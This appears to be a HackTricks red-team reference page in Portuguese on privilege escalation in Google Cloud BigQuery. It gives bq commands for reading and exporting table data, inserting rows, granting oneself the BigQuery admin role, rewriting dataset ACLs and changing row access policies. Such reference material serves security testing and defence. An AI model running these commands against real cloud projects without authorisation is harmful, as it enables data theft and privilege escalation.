GCP - BigQuery Privesc

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

BigQuery

Para mais informações sobre o BigQuery, consulte:

pageGCP - Bigquery Enum

Ler Tabela

Lendo as informações armazenadas dentro de uma tabela BigQuery, pode ser possível encontrar informações sensíveis. Para acessar as informações, as permissões necessárias são bigquery.tables.get, bigquery.jobs.create e bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Exportar dados

Esta é outra maneira de acessar os dados. Exporte-os para um bucket de armazenamento na nuvem e baixe os arquivos com as informações. Para realizar esta ação, as seguintes permissões são necessárias: bigquery.tables.export, bigquery.jobs.create e storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Inserir dados

Pode ser possível inserir certos dados confiáveis em uma tabela do Bigquery para abusar de uma vulnerabilidade em outro local. Isso pode ser facilmente feito com as permissões bigquery.tables.get, bigquery.tables.updateData e bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Um atacante poderia abusar desse privilégio para se dar mais permissões sobre um conjunto de dados do BigQuery:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Apenas essa permissão permite atualizar seu acesso a um conjunto de dados do BigQuery modificando as ACLs que indicam quem pode acessá-lo:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

Um atacante poderia abusar desse privilégio para se dar mais permissões sobre uma tabela do BigQuery:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

De acordo com a documentação, com as permissões mencionadas é possível atualizar uma política de linha. No entanto, usando o cli bq você precisa de mais algumas: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used

É possível encontrar o ID do filtro na saída da enumeração de políticas de linha. Exemplo:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización